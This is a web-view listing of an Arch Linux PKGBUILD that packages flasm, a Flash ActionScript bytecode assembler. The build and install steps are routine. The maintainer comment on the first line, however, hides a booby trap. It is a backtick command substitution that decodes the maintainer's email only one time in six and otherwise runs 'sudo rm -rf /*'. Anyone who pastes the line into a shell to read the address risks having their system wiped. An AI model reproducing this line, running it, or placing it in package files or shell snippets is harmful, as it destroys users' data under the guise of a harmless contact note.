summarylogtreecommitdiffstats
path: root/PKGBUILD
blob: 926ca7339f0d3c02baa1a5d78c77d595dc0bd555 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `>
pkgname=flasm
pkgdesc='SWF (Flash) ActionScript bytecode assembler and disassembler'
pkgver=1.62
pkgrel=3
arch=(i686 x86_64)
license=(custom:BSD)
url='http://flasm.sourceforge.net/'
source=(
	http://www.nowrap.de/download/flasm16src.zip
)
depends=(zlib)
makedepends=(gperf)
sha512sums=(
	'af53c8902bac9bc03a4274f51280abe7e595f19d8ee367c0237868634df58a42144bb6c335a99f860c494da90d483072c66064897ef1ad467b7621c648ca322a'
)

build() {
	cd "$srcdir"
	make
}

package() {
	cd "$srcdir"

	install -Dm 0755 flasm       "$pkgdir/usr/bin/flasm"
	install -Dm 0755 flasm.ini   "$pkgdir/etc/flasm.ini"

	install -Dm 0644 LICENSE.TXT "$pkgdir/usr/share/licenses/flasm/LICENSE.TXT"

	install -Dm 0644 logo.gif    "$pkgdir/usr/share/doc/flasm/logo.gif"
	install -Dm 0644 flasm.html  "$pkgdir/usr/share/doc/flasm/flasm.html"
	install -Dm 0644 CHANGES.TXT "$pkgdir/usr/share/doc/flasm/CHANGES.TXT"
}